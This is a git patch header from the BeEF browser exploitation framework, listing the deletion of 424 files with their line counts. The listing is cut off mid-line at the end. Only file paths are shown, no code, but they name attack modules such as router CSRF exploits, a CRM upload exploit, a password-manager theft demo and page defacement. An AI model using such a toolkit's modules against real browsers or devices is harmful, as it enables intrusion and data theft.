From bede2de811a6315c656de43c750d872884285499 Mon Sep 17 00:00:00 2001 From: "scotty.b.brown@gmail.com" Date: Wed, 20 Apr 2011 07:42:47 +0000 Subject: [PATCH] First step of moving beef-nextgen to trunk. git-svn-id: https://beef.googlecode.com/svn/trunk@905 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- INSTALL | 57 - VERSION | 1 - beef.rb | 38 - config.ini | 51 - demos/basic.html | 32 - demos/butcher/butch.css | 59 - demos/butcher/index.html | 62 - demos/butcher/jquery-1.5.min.js | 16 - demos/butcher/right.jpg | Bin 35905 -> 0 bytes demos/butcher/secret_page.html | 13 - demos/butcher/top.jpg | Bin 15652 -> 0 bytes demos/passwd_manager_theft.html | 27 - demos/secret_page.html | 13 - install.rb | 112 - lib/configuration.rb | 20 - lib/console/banner.rb | 52 - lib/console/commandline.rb | 37 - lib/constants.rb | 145 - lib/crypto.rb | 26 - lib/filter/base.rb | 95 - lib/filter/command.rb | 59 - lib/filter/init.rb | 67 - lib/filter/msf.rb | 12 - lib/filter/requester.rb | 27 - lib/httpproxybase.rb | 24 - lib/httpproxyzombie.rb | 42 - lib/httpproxyzombiehandler.rb | 58 - lib/loader.rb | 86 - lib/logger.rb | 24 - lib/migration.rb | 123 - lib/model/autoloading.rb | 18 - lib/model/browserdetails.rb | 95 - lib/model/command.rb | 53 - lib/model/commandmodule.rb | 21 - lib/model/distributedenginerules.rb | 17 - lib/model/dynamiccommandinfo.rb | 20 - lib/model/dynamicpayloadinfo.rb | 21 - lib/model/dynamicpayloads.rb | 19 - lib/model/http.rb | 23 - lib/model/log.rb | 19 - lib/model/optioncache.rb | 17 - lib/model/plugin.rb | 17 - lib/model/result.rb | 17 - lib/model/user.rb | 24 - lib/model/zombie.rb | 69 - lib/modules/command.rb | 309 - lib/modules/msfclient.rb | 176 - lib/modules/msfcommand.rb | 216 - lib/patches/webrick/cookie.rb | 23 - lib/patches/webrick/genericserver.rb | 15 - lib/patches/webrick/httprequest.rb | 77 - lib/patches/webrick/httpresponse.rb | 75 - .../webrick/httpservlet/filehandler.rb | 32 - lib/server/assethandler.rb | 74 - lib/server/commandhandler.rb | 57 - lib/server/dynamichandler.rb | 90 - lib/server/eventhandler.rb | 59 - lib/server/filehandler.rb | 21 - lib/server/httpcontroller.rb | 96 - lib/server/httphandler.rb | 38 - lib/server/httphookserver.rb | 153 - lib/server/inithandler.rb | 95 - lib/server/modules/common.rb | 142 - lib/server/modules/requester.rb | 94 - lib/server/publichandler.rb | 21 - lib/server/requesterhandler.rb | 57 - lib/server/zombiehandler.rb | 98 - lib/ui/authentication/authentication.rb | 137 - lib/ui/authentication/index.html | 36 - lib/ui/logs/logs.rb | 72 - lib/ui/modules/modules.rb | 580 -- lib/ui/panel/index.html | 48 - lib/ui/panel/panel.rb | 87 - lib/ui/requester/requester.rb | 145 - lib/ui/session.rb | 113 - modules/beefjs/beef.js | 46 - modules/beefjs/browser.js | 688 -- modules/beefjs/browser/cookie.js | 95 - modules/beefjs/dom.js | 188 - modules/beefjs/encode/base64.js | 73 - modules/beefjs/encode/json.js | 119 - modules/beefjs/geolocation.js | 94 - modules/beefjs/init.js | 23 - modules/beefjs/lib/evercookie.js | 977 --- modules/beefjs/lib/jquery-1.5.min.js | 16 - modules/beefjs/logger.js | 170 - modules/beefjs/net.js | 215 - modules/beefjs/net/local.js | 67 - modules/beefjs/net/portscanner.js | 48 - modules/beefjs/net/requester.js | 23 - modules/beefjs/os.js | 116 - modules/beefjs/session.js | 85 - modules/beefjs/updater.js | 80 - .../browser/detect_details/detect_details.js | 56 - .../browser/detect_details/detect_details.rb | 39 - .../browser/detect_plugins/detect_plugins.js | 56 - .../browser/detect_plugins/detect_plugins.rb | 39 - .../detect_screen_details.js | 57 - .../detect_screen_details.rb | 40 - .../detect_scripts_support.js | 60 - .../detect_scripts_support.rb | 42 - .../detect_visited_urls.js | 10 - .../detect_visited_urls.rb | 35 - .../browser/link_rewrite/link_rewrite.js | 4 - .../browser/link_rewrite/link_rewrite.rb | 36 - .../browser/site_redirect/site_redirect.js | 6 - .../browser/site_redirect/site_redirect.rb | 35 - .../site_redirect_iframe.js | 21 - .../site_redirect_iframe.rb | 44 - .../insecure_url_skype/insecure_url_skype.js | 5 - .../insecure_url_skype/insecure_url_skype.rb | 60 - .../commands/host/iphone_tel/iphone_tel.js | 5 - .../commands/host/iphone_tel/iphone_tel.rb | 46 - .../physical_location/physical_location.js | 11 - .../physical_location/physical_location.rb | 42 - .../misc/alert_dialog/alert_dialog.js | 5 - .../misc/alert_dialog/alert_dialog.rb | 42 - .../misc/deface_web_page/deface_web_page.js | 5 - .../misc/deface_web_page/deface_web_page.rb | 43 - .../misc/prompt_dialog/prompt_dialog.js | 5 - .../misc/prompt_dialog/prompt_dialog.rb | 43 - .../misc/raw_javascript/raw_javascript.js | 18 - .../misc/raw_javascript/raw_javascript.rb | 46 - .../misc/replace_video/replace_video.js | 15 - .../misc/replace_video/replace_video.rb | 45 - modules/commands/misc/rickroll/rickroll.js | 10 - modules/commands/misc/rickroll/rickroll.rb | 43 - .../detect_local_settings.js | 10 - .../detect_local_settings.rb | 49 - .../fingerprint_local_network.js | 51 - .../fingerprint_local_network.rb | 70 - .../linksys_befsr41_csrf/befsr41_csrf.js | 5 - .../linksys_befsr41_csrf/befsr41_csrf.rb | 41 - .../linksys_wrt54g2_csrf/wrt54g2_csrf.js | 92 - .../linksys_wrt54g2_csrf/wrt54g2_csrf.rb | 41 - .../linksys_wrt54g_csrf/wrt54g_csrf.js | 92 - .../linksys_wrt54g_csrf/wrt54g_csrf.rb | 41 - .../vtiger_crm_upload_exploit.js | 186 - .../vtiger_crm_upload_exploit.rb | 55 - .../persistence/iframe_above/iframe_above.js | 4 - .../persistence/iframe_above/iframe_above.rb | 40 - .../popunder_window/popunder_window.js | 10 - .../popunder_window/popunder_window.rb | 40 - .../recon/collect_links/collect_links.js | 6 - .../recon/collect_links/collect_links.rb | 40 - .../detect_cookies_support/detect_cookies.js | 9 - .../detect_cookies_support/detect_cookies.rb | 44 - .../recon/detect_soc_nets/detect_soc_nets.js | 67 - .../recon/detect_soc_nets/detect_soc_nets.rb | 40 - .../commands/recon/detect_tor/detect_tor.js | 35 - .../commands/recon/detect_tor/detect_tor.rb | 38 - .../recon/event_logger/event_logger.js | 5 - .../recon/event_logger/event_logger.rb | 37 - public/css/base.css | 93 - public/css/ext-all.css | 6969 ----------------- public/images/default/box/corners-blue.gif | Bin 1010 -> 0 bytes public/images/default/box/corners.gif | Bin 1005 -> 0 bytes public/images/default/box/l-blue.gif | Bin 810 -> 0 bytes public/images/default/box/l.gif | Bin 810 -> 0 bytes public/images/default/box/r-blue.gif | Bin 810 -> 0 bytes public/images/default/box/r.gif | Bin 810 -> 0 bytes public/images/default/box/tb-blue.gif | Bin 851 -> 0 bytes public/images/default/box/tb.gif | Bin 839 -> 0 bytes public/images/default/button/arrow.gif | Bin 828 -> 0 bytes public/images/default/button/btn.gif | Bin 4298 -> 0 bytes public/images/default/button/group-cs.gif | Bin 2459 -> 0 bytes public/images/default/button/group-lr.gif | Bin 861 -> 0 bytes public/images/default/button/group-tb.gif | Bin 846 -> 0 bytes .../default/button/s-arrow-b-noline.gif | Bin 898 -> 0 bytes public/images/default/button/s-arrow-b.gif | Bin 937 -> 0 bytes public/images/default/button/s-arrow-bo.gif | Bin 139 -> 0 bytes .../images/default/button/s-arrow-noline.gif | Bin 863 -> 0 bytes public/images/default/button/s-arrow-o.gif | Bin 937 -> 0 bytes public/images/default/button/s-arrow.gif | Bin 937 -> 0 bytes public/images/default/dd/drop-add.gif | Bin 1001 -> 0 bytes public/images/default/dd/drop-no.gif | Bin 949 -> 0 bytes public/images/default/dd/drop-yes.gif | Bin 1016 -> 0 bytes public/images/default/editor/tb-sprite.gif | Bin 2072 -> 0 bytes public/images/default/form/checkbox.gif | Bin 2061 -> 0 bytes public/images/default/form/clear-trigger.gif | Bin 1988 -> 0 bytes public/images/default/form/clear-trigger.psd | Bin 11804 -> 0 bytes public/images/default/form/date-trigger.gif | Bin 1603 -> 0 bytes public/images/default/form/date-trigger.psd | Bin 12377 -> 0 bytes .../images/default/form/error-tip-corners.gif | Bin 4183 -> 0 bytes public/images/default/form/exclamation.gif | Bin 996 -> 0 bytes public/images/default/form/radio.gif | Bin 1746 -> 0 bytes public/images/default/form/search-trigger.gif | Bin 2182 -> 0 bytes public/images/default/form/search-trigger.psd | Bin 15601 -> 0 bytes public/images/default/form/text-bg.gif | Bin 819 -> 0 bytes public/images/default/form/trigger-tpl.gif | Bin 1487 -> 0 bytes public/images/default/form/trigger.gif | Bin 1688 -> 0 bytes public/images/default/form/trigger.psd | Bin 10829 -> 0 bytes public/images/default/gradient-bg.gif | Bin 1472 -> 0 bytes .../images/default/grid/arrow-left-white.gif | Bin 825 -> 0 bytes .../images/default/grid/arrow-right-white.gif | Bin 825 -> 0 bytes .../images/default/grid/col-move-bottom.gif | Bin 868 -> 0 bytes public/images/default/grid/col-move-top.gif | Bin 869 -> 0 bytes public/images/default/grid/columns.gif | Bin 962 -> 0 bytes public/images/default/grid/dirty.gif | Bin 832 -> 0 bytes public/images/default/grid/done.gif | Bin 133 -> 0 bytes public/images/default/grid/drop-no.gif | Bin 947 -> 0 bytes public/images/default/grid/drop-yes.gif | Bin 860 -> 0 bytes public/images/default/grid/footer-bg.gif | Bin 834 -> 0 bytes public/images/default/grid/grid-blue-hd.gif | Bin 829 -> 0 bytes .../images/default/grid/grid-blue-split.gif | Bin 817 -> 0 bytes public/images/default/grid/grid-hrow.gif | Bin 855 -> 0 bytes public/images/default/grid/grid-loading.gif | Bin 701 -> 0 bytes public/images/default/grid/grid-split.gif | Bin 817 -> 0 bytes public/images/default/grid/grid-vista-hd.gif | Bin 829 -> 0 bytes public/images/default/grid/grid3-hd-btn.gif | Bin 1229 -> 0 bytes .../images/default/grid/grid3-hrow-over.gif | Bin 823 -> 0 bytes public/images/default/grid/grid3-hrow.gif | Bin 836 -> 0 bytes .../default/grid/grid3-special-col-bg.gif | Bin 837 -> 0 bytes .../default/grid/grid3-special-col-sel-bg.gif | Bin 843 -> 0 bytes public/images/default/grid/group-by.gif | Bin 917 -> 0 bytes public/images/default/grid/group-collapse.gif | Bin 881 -> 0 bytes .../default/grid/group-expand-sprite.gif | Bin 955 -> 0 bytes public/images/default/grid/group-expand.gif | Bin 884 -> 0 bytes public/images/default/grid/hd-pop.gif | Bin 839 -> 0 bytes public/images/default/grid/hmenu-asc.gif | Bin 931 -> 0 bytes public/images/default/grid/hmenu-desc.gif | Bin 930 -> 0 bytes public/images/default/grid/hmenu-lock.gif | Bin 955 -> 0 bytes public/images/default/grid/hmenu-lock.png | Bin 648 -> 0 bytes public/images/default/grid/hmenu-unlock.gif | Bin 971 -> 0 bytes public/images/default/grid/hmenu-unlock.png | Bin 697 -> 0 bytes public/images/default/grid/invalid_line.gif | Bin 815 -> 0 bytes public/images/default/grid/loading.gif | Bin 771 -> 0 bytes public/images/default/grid/mso-hd.gif | Bin 875 -> 0 bytes public/images/default/grid/nowait.gif | Bin 884 -> 0 bytes .../default/grid/page-first-disabled.gif | Bin 925 -> 0 bytes public/images/default/grid/page-first.gif | Bin 925 -> 0 bytes .../default/grid/page-last-disabled.gif | Bin 923 -> 0 bytes public/images/default/grid/page-last.gif | Bin 923 -> 0 bytes .../default/grid/page-next-disabled.gif | Bin 875 -> 0 bytes public/images/default/grid/page-next.gif | Bin 875 -> 0 bytes .../default/grid/page-prev-disabled.gif | Bin 879 -> 0 bytes public/images/default/grid/page-prev.gif | Bin 879 -> 0 bytes public/images/default/grid/pick-button.gif | Bin 1036 -> 0 bytes .../images/default/grid/refresh-disabled.gif | Bin 577 -> 0 bytes public/images/default/grid/refresh.gif | Bin 977 -> 0 bytes .../images/default/grid/row-check-sprite.gif | Bin 1083 -> 0 bytes .../images/default/grid/row-expand-sprite.gif | Bin 955 -> 0 bytes public/images/default/grid/row-over.gif | Bin 823 -> 0 bytes public/images/default/grid/row-sel.gif | Bin 823 -> 0 bytes public/images/default/grid/sort-hd.gif | Bin 1473 -> 0 bytes public/images/default/grid/sort_asc.gif | Bin 830 -> 0 bytes public/images/default/grid/sort_desc.gif | Bin 833 -> 0 bytes public/images/default/grid/wait.gif | Bin 1100 -> 0 bytes public/images/default/layout/collapse.gif | Bin 842 -> 0 bytes public/images/default/layout/expand.gif | Bin 842 -> 0 bytes public/images/default/layout/gradient-bg.gif | Bin 1472 -> 0 bytes public/images/default/layout/mini-bottom.gif | Bin 856 -> 0 bytes public/images/default/layout/mini-left.gif | Bin 871 -> 0 bytes public/images/default/layout/mini-right.gif | Bin 872 -> 0 bytes public/images/default/layout/mini-top.gif | Bin 856 -> 0 bytes public/images/default/layout/ns-collapse.gif | Bin 842 -> 0 bytes public/images/default/layout/ns-expand.gif | Bin 843 -> 0 bytes public/images/default/layout/panel-close.gif | Bin 829 -> 0 bytes .../images/default/layout/panel-title-bg.gif | Bin 838 -> 0 bytes .../default/layout/panel-title-light-bg.gif | Bin 835 -> 0 bytes public/images/default/layout/stick.gif | Bin 874 -> 0 bytes public/images/default/layout/stuck.gif | Bin 92 -> 0 bytes public/images/default/layout/tab-close-on.gif | Bin 880 -> 0 bytes public/images/default/layout/tab-close.gif | Bin 859 -> 0 bytes public/images/default/menu/checked.gif | Bin 959 -> 0 bytes public/images/default/menu/group-checked.gif | Bin 891 -> 0 bytes public/images/default/menu/item-over.gif | Bin 820 -> 0 bytes public/images/default/menu/menu-parent.gif | Bin 854 -> 0 bytes public/images/default/menu/menu.gif | Bin 834 -> 0 bytes public/images/default/menu/unchecked.gif | Bin 941 -> 0 bytes .../images/default/panel/corners-sprite.gif | Bin 1418 -> 0 bytes public/images/default/panel/left-right.gif | Bin 815 -> 0 bytes public/images/default/panel/light-hd.gif | Bin 827 -> 0 bytes .../images/default/panel/tool-sprite-tpl.gif | Bin 971 -> 0 bytes public/images/default/panel/tool-sprites.gif | Bin 4392 -> 0 bytes .../default/panel/tools-sprites-trans.gif | Bin 2843 -> 0 bytes public/images/default/panel/top-bottom.gif | Bin 875 -> 0 bytes public/images/default/panel/top-bottom.png | Bin 218 -> 0 bytes .../default/panel/white-corners-sprite.gif | Bin 1366 -> 0 bytes .../images/default/panel/white-left-right.gif | Bin 815 -> 0 bytes .../images/default/panel/white-top-bottom.gif | Bin 872 -> 0 bytes .../images/default/progress/progress-bg.gif | Bin 834 -> 0 bytes public/images/default/qtip/bg.gif | Bin 1091 -> 0 bytes public/images/default/qtip/close.gif | Bin 972 -> 0 bytes .../images/default/qtip/tip-anchor-sprite.gif | Bin 951 -> 0 bytes public/images/default/qtip/tip-sprite.gif | Bin 4271 -> 0 bytes public/images/default/s.gif | Bin 43 -> 0 bytes public/images/default/shadow-c.png | Bin 118 -> 0 bytes public/images/default/shadow-lr.png | Bin 135 -> 0 bytes public/images/default/shadow.png | Bin 311 -> 0 bytes public/images/default/shared/blue-loading.gif | Bin 3236 -> 0 bytes public/images/default/shared/calendar.gif | Bin 979 -> 0 bytes public/images/default/shared/glass-bg.gif | Bin 873 -> 0 bytes public/images/default/shared/hd-sprite.gif | Bin 1099 -> 0 bytes .../images/default/shared/large-loading.gif | Bin 3236 -> 0 bytes public/images/default/shared/left-btn.gif | Bin 870 -> 0 bytes .../images/default/shared/loading-balls.gif | Bin 2118 -> 0 bytes public/images/default/shared/right-btn.gif | Bin 871 -> 0 bytes public/images/default/shared/warning.gif | Bin 960 -> 0 bytes public/images/default/sizer/e-handle-dark.gif | Bin 1062 -> 0 bytes public/images/default/sizer/e-handle.gif | Bin 1586 -> 0 bytes .../images/default/sizer/ne-handle-dark.gif | Bin 839 -> 0 bytes public/images/default/sizer/ne-handle.gif | Bin 854 -> 0 bytes .../images/default/sizer/nw-handle-dark.gif | Bin 839 -> 0 bytes public/images/default/sizer/nw-handle.gif | Bin 853 -> 0 bytes public/images/default/sizer/s-handle-dark.gif | Bin 1060 -> 0 bytes public/images/default/sizer/s-handle.gif | Bin 1318 -> 0 bytes .../images/default/sizer/se-handle-dark.gif | Bin 838 -> 0 bytes public/images/default/sizer/se-handle.gif | Bin 853 -> 0 bytes public/images/default/sizer/square.gif | Bin 864 -> 0 bytes .../images/default/sizer/sw-handle-dark.gif | Bin 839 -> 0 bytes public/images/default/sizer/sw-handle.gif | Bin 855 -> 0 bytes public/images/default/slider/slider-bg.png | Bin 300 -> 0 bytes public/images/default/slider/slider-thumb.png | Bin 933 -> 0 bytes public/images/default/slider/slider-v-bg.png | Bin 288 -> 0 bytes .../images/default/slider/slider-v-thumb.png | Bin 883 -> 0 bytes public/images/default/tabs/scroll-left.gif | Bin 1295 -> 0 bytes public/images/default/tabs/scroll-right.gif | Bin 1300 -> 0 bytes public/images/default/tabs/scroller-bg.gif | Bin 1100 -> 0 bytes .../default/tabs/tab-btm-inactive-left-bg.gif | Bin 886 -> 0 bytes .../tabs/tab-btm-inactive-right-bg.gif | Bin 1386 -> 0 bytes .../images/default/tabs/tab-btm-left-bg.gif | Bin 1402 -> 0 bytes .../default/tabs/tab-btm-over-left-bg.gif | Bin 191 -> 0 bytes .../default/tabs/tab-btm-over-right-bg.gif | Bin 638 -> 0 bytes .../images/default/tabs/tab-btm-right-bg.gif | Bin 863 -> 0 bytes public/images/default/tabs/tab-close.gif | Bin 896 -> 0 bytes public/images/default/tabs/tab-strip-bg.gif | Bin 835 -> 0 bytes public/images/default/tabs/tab-strip-bg.png | Bin 259 -> 0 bytes .../images/default/tabs/tab-strip-btm-bg.gif | Bin 826 -> 0 bytes public/images/default/tabs/tabs-sprite.gif | Bin 2120 -> 0 bytes public/images/default/toolbar/bg.gif | Bin 904 -> 0 bytes .../default/toolbar/btn-arrow-light.gif | Bin 916 -> 0 bytes public/images/default/toolbar/btn-arrow.gif | Bin 919 -> 0 bytes public/images/default/toolbar/btn-over-bg.gif | Bin 837 -> 0 bytes public/images/default/toolbar/gray-bg.gif | Bin 832 -> 0 bytes public/images/default/toolbar/more.gif | Bin 845 -> 0 bytes public/images/default/toolbar/tb-bg.gif | Bin 862 -> 0 bytes .../images/default/toolbar/tb-btn-sprite.gif | Bin 1127 -> 0 bytes .../default/toolbar/tb-xl-btn-sprite.gif | Bin 1663 -> 0 bytes public/images/default/toolbar/tb-xl-sep.gif | Bin 810 -> 0 bytes public/images/default/tree/arrows.gif | Bin 617 -> 0 bytes public/images/default/tree/drop-add.gif | Bin 1001 -> 0 bytes public/images/default/tree/drop-between.gif | Bin 907 -> 0 bytes public/images/default/tree/drop-no.gif | Bin 949 -> 0 bytes public/images/default/tree/drop-over.gif | Bin 911 -> 0 bytes public/images/default/tree/drop-under.gif | Bin 911 -> 0 bytes public/images/default/tree/drop-yes.gif | Bin 1016 -> 0 bytes .../default/tree/elbow-end-minus-nl.gif | Bin 898 -> 0 bytes .../images/default/tree/elbow-end-minus.gif | Bin 905 -> 0 bytes .../images/default/tree/elbow-end-plus-nl.gif | Bin 900 -> 0 bytes public/images/default/tree/elbow-end-plus.gif | Bin 907 -> 0 bytes public/images/default/tree/elbow-end.gif | Bin 844 -> 0 bytes public/images/default/tree/elbow-line.gif | Bin 846 -> 0 bytes public/images/default/tree/elbow-minus-nl.gif | Bin 898 -> 0 bytes public/images/default/tree/elbow-minus.gif | Bin 908 -> 0 bytes public/images/default/tree/elbow-plus-nl.gif | Bin 900 -> 0 bytes public/images/default/tree/elbow-plus.gif | Bin 910 -> 0 bytes public/images/default/tree/elbow.gif | Bin 850 -> 0 bytes public/images/default/tree/folder-open.gif | Bin 956 -> 0 bytes public/images/default/tree/folder.gif | Bin 952 -> 0 bytes public/images/default/tree/leaf.gif | Bin 945 -> 0 bytes public/images/default/tree/loading.gif | Bin 771 -> 0 bytes public/images/default/tree/s.gif | Bin 43 -> 0 bytes public/images/default/window/icon-error.gif | Bin 1669 -> 0 bytes public/images/default/window/icon-info.gif | Bin 1586 -> 0 bytes .../images/default/window/icon-question.gif | Bin 1607 -> 0 bytes public/images/default/window/icon-warning.gif | Bin 1483 -> 0 bytes public/images/default/window/left-corners.png | Bin 200 -> 0 bytes public/images/default/window/left-corners.psd | Bin 15576 -> 0 bytes public/images/default/window/left-right.png | Bin 152 -> 0 bytes public/images/default/window/left-right.psd | Bin 24046 -> 0 bytes .../images/default/window/right-corners.png | Bin 256 -> 0 bytes .../images/default/window/right-corners.psd | Bin 15530 -> 0 bytes public/images/default/window/top-bottom.png | Bin 180 -> 0 bytes public/images/default/window/top-bottom.psd | Bin 32128 -> 0 bytes public/images/favicon.ico | Bin 3638 -> 0 bytes public/images/icons/beef.gif | Bin 486 -> 0 bytes public/images/icons/bsd.png | Bin 253 -> 0 bytes public/images/icons/bsdfreebsd.png | Bin 329 -> 0 bytes public/images/icons/chrome.png | Bin 5268 -> 0 bytes public/images/icons/epiphany.png | Bin 631 -> 0 bytes public/images/icons/firefox.png | Bin 368 -> 0 bytes public/images/icons/green.png | Bin 3628 -> 0 bytes public/images/icons/grey.png | Bin 3558 -> 0 bytes public/images/icons/iphone.png | Bin 1577 -> 0 bytes public/images/icons/konqueror.png | Bin 285 -> 0 bytes public/images/icons/linux.png | Bin 320 -> 0 bytes public/images/icons/mac.png | Bin 282 -> 0 bytes public/images/icons/mozilla.png | Bin 289 -> 0 bytes public/images/icons/msie.png | Bin 314 -> 0 bytes public/images/icons/opera.ico | Bin 2862 -> 0 bytes public/images/icons/orange.png | Bin 3590 -> 0 bytes public/images/icons/red.png | Bin 3556 -> 0 bytes public/images/icons/safari.png | Bin 324 -> 0 bytes public/images/icons/unknown.png | Bin 218 -> 0 bytes public/images/icons/win.png | Bin 334 -> 0 bytes public/images/statusbar/accept.png | Bin 781 -> 0 bytes public/images/statusbar/exclamation.gif | Bin 996 -> 0 bytes public/images/statusbar/loading.gif | Bin 771 -> 0 bytes public/images/statusbar/saved.png.png | Bin 537 -> 0 bytes public/images/statusbar/saving.gif | Bin 2255 -> 0 bytes public/javascript/ext-all.js | 11 - public/javascript/ext-base.js | 7 - public/javascript/ext-beef.js | 30 - public/javascript/ui/authentication.js | 73 - public/javascript/ui/panel/DataGrid.js | 89 - .../javascript/ui/panel/DistributedEngine.js | 39 - public/javascript/ui/panel/Logout.js | 20 - public/javascript/ui/panel/MainPanel.js | 66 - public/javascript/ui/panel/PanelStatusBar.js | 74 - public/javascript/ui/panel/PanelViewer.js | 57 - public/javascript/ui/panel/WelcomeTab.js | 26 - public/javascript/ui/panel/ZombieTab.js | 31 - public/javascript/ui/panel/ZombieTabs.js | 78 - public/javascript/ui/panel/ZombiesMgr.js | 65 - public/javascript/ui/panel/common.js | 394 - .../ui/panel/tabs/ZombieTabCommands.js | 187 - .../ui/panel/tabs/ZombieTabDetails.js | 84 - .../javascript/ui/panel/tabs/ZombieTabLogs.js | 22 - .../ui/panel/tabs/ZombieTabRequester.js | 252 - public/javascript/ui/panel/zombiesTreeList.js | 272 - public/javascript/ux/PagingStore.js | 553 -- public/javascript/ux/StatusBar.js | 446 -- public/javascript/ux/TabCloseMenu.js | 58 - 424 files changed, 20400 deletions(-) delete mode 100644 INSTALL delete mode 100644 VERSION delete mode 100644 beef.rb delete mode 100644 config.ini delete mode 100644 demos/basic.html delete mode 100644 demos/butcher/butch.css delete mode 100644 demos/butcher/index.html delete mode 100644 demos/butcher/jquery-1.5.min.js delete mode 100644 demos/butcher/right.jpg delete mode 100644 demos/butcher/secret_page.html delete mode 100644 demos/butcher/top.jpg delete mode 100644 demos/passwd_manager_theft.html delete mode 100644 demos/secret_page.html delete mode 100644 install.rb delete mode 100644 lib/configuration.rb delete mode 100644 lib/console/banner.rb delete mode 100644 lib/console/commandline.rb delete mode 100644 lib/constants.rb delete mode 100644 lib/crypto.rb delete mode 100644 lib/filter/base.rb delete mode 100644 lib/filter/command.rb delete mode 100644 lib/filter/init.rb delete mode 100644 lib/filter/msf.rb delete mode 100644 lib/filter/requester.rb delete mode 100644 lib/httpproxybase.rb delete mode 100644 lib/httpproxyzombie.rb delete mode 100644 lib/httpproxyzombiehandler.rb delete mode 100644 lib/loader.rb delete mode 100644 lib/logger.rb delete mode 100644 lib/migration.rb delete mode 100644 lib/model/autoloading.rb delete mode 100644 lib/model/browserdetails.rb delete mode 100644 lib/model/command.rb delete mode 100644 lib/model/commandmodule.rb delete mode 100644 lib/model/distributedenginerules.rb delete mode 100644 lib/model/dynamiccommandinfo.rb delete mode 100644 lib/model/dynamicpayloadinfo.rb delete mode 100644 lib/model/dynamicpayloads.rb delete mode 100644 lib/model/http.rb delete mode 100644 lib/model/log.rb delete mode 100644 lib/model/optioncache.rb delete mode 100644 lib/model/plugin.rb delete mode 100644 lib/model/result.rb delete mode 100644 lib/model/user.rb delete mode 100644 lib/model/zombie.rb delete mode 100644 lib/modules/command.rb delete mode 100644 lib/modules/msfclient.rb delete mode 100644 lib/modules/msfcommand.rb delete mode 100644 lib/patches/webrick/cookie.rb delete mode 100644 lib/patches/webrick/genericserver.rb delete mode 100644 lib/patches/webrick/httprequest.rb delete mode 100644 lib/patches/webrick/httpresponse.rb delete mode 100644 lib/patches/webrick/httpservlet/filehandler.rb delete mode 100644 lib/server/assethandler.rb delete mode 100644 lib/server/commandhandler.rb delete mode 100644 lib/server/dynamichandler.rb delete mode 100644 lib/server/eventhandler.rb delete mode 100644 lib/server/filehandler.rb delete mode 100644 lib/server/httpcontroller.rb delete mode 100644 lib/server/httphandler.rb delete mode 100644 lib/server/httphookserver.rb delete mode 100644 lib/server/inithandler.rb delete mode 100644 lib/server/modules/common.rb delete mode 100644 lib/server/modules/requester.rb delete mode 100644 lib/server/publichandler.rb delete mode 100644 lib/server/requesterhandler.rb delete mode 100644 lib/server/zombiehandler.rb delete mode 100644 lib/ui/authentication/authentication.rb delete mode 100644 lib/ui/authentication/index.html delete mode 100644 lib/ui/logs/logs.rb delete mode 100644 lib/ui/modules/modules.rb delete mode 100644 lib/ui/panel/index.html delete mode 100644 lib/ui/panel/panel.rb delete mode 100644 lib/ui/requester/requester.rb delete mode 100644 lib/ui/session.rb delete mode 100644 modules/beefjs/beef.js delete mode 100644 modules/beefjs/browser.js delete mode 100644 modules/beefjs/browser/cookie.js delete mode 100644 modules/beefjs/dom.js delete mode 100644 modules/beefjs/encode/base64.js delete mode 100644 modules/beefjs/encode/json.js delete mode 100644 modules/beefjs/geolocation.js delete mode 100644 modules/beefjs/init.js delete mode 100644 modules/beefjs/lib/evercookie.js delete mode 100644 modules/beefjs/lib/jquery-1.5.min.js delete mode 100644 modules/beefjs/logger.js delete mode 100644 modules/beefjs/net.js delete mode 100644 modules/beefjs/net/local.js delete mode 100644 modules/beefjs/net/portscanner.js delete mode 100644 modules/beefjs/net/requester.js delete mode 100644 modules/beefjs/os.js delete mode 100644 modules/beefjs/session.js delete mode 100644 modules/beefjs/updater.js delete mode 100644 modules/commands/browser/detect_details/detect_details.js delete mode 100644 modules/commands/browser/detect_details/detect_details.rb delete mode 100644 modules/commands/browser/detect_plugins/detect_plugins.js delete mode 100644 modules/commands/browser/detect_plugins/detect_plugins.rb delete mode 100644 modules/commands/browser/detect_screen_details/detect_screen_details.js delete mode 100644 modules/commands/browser/detect_screen_details/detect_screen_details.rb delete mode 100644 modules/commands/browser/detect_scripts_support/detect_scripts_support.js delete mode 100644 modules/commands/browser/detect_scripts_support/detect_scripts_support.rb delete mode 100644 modules/commands/browser/detect_visited_urls/detect_visited_urls.js delete mode 100644 modules/commands/browser/detect_visited_urls/detect_visited_urls.rb delete mode 100644 modules/commands/browser/link_rewrite/link_rewrite.js delete mode 100644 modules/commands/browser/link_rewrite/link_rewrite.rb delete mode 100644 modules/commands/browser/site_redirect/site_redirect.js delete mode 100644 modules/commands/browser/site_redirect/site_redirect.rb delete mode 100644 modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js delete mode 100644 modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb delete mode 100644 modules/commands/host/insecure_url_skype/insecure_url_skype.js delete mode 100644 modules/commands/host/insecure_url_skype/insecure_url_skype.rb delete mode 100644 modules/commands/host/iphone_tel/iphone_tel.js delete mode 100644 modules/commands/host/iphone_tel/iphone_tel.rb delete mode 100644 modules/commands/host/physical_location/physical_location.js delete mode 100644 modules/commands/host/physical_location/physical_location.rb delete mode 100644 modules/commands/misc/alert_dialog/alert_dialog.js delete mode 100644 modules/commands/misc/alert_dialog/alert_dialog.rb delete mode 100644 modules/commands/misc/deface_web_page/deface_web_page.js delete mode 100644 modules/commands/misc/deface_web_page/deface_web_page.rb delete mode 100644 modules/commands/misc/prompt_dialog/prompt_dialog.js delete mode 100644 modules/commands/misc/prompt_dialog/prompt_dialog.rb delete mode 100644 modules/commands/misc/raw_javascript/raw_javascript.js delete mode 100644 modules/commands/misc/raw_javascript/raw_javascript.rb delete mode 100644 modules/commands/misc/replace_video/replace_video.js delete mode 100644 modules/commands/misc/replace_video/replace_video.rb delete mode 100644 modules/commands/misc/rickroll/rickroll.js delete mode 100644 modules/commands/misc/rickroll/rickroll.rb delete mode 100644 modules/commands/network/detect_local_settings/detect_local_settings.js delete mode 100644 modules/commands/network/detect_local_settings/detect_local_settings.rb delete mode 100644 modules/commands/network/detect_local_settings/fingerprint_local_network.js delete mode 100644 modules/commands/network/detect_local_settings/fingerprint_local_network.rb delete mode 100644 modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js delete mode 100644 modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb delete mode 100644 modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js delete mode 100644 modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb delete mode 100644 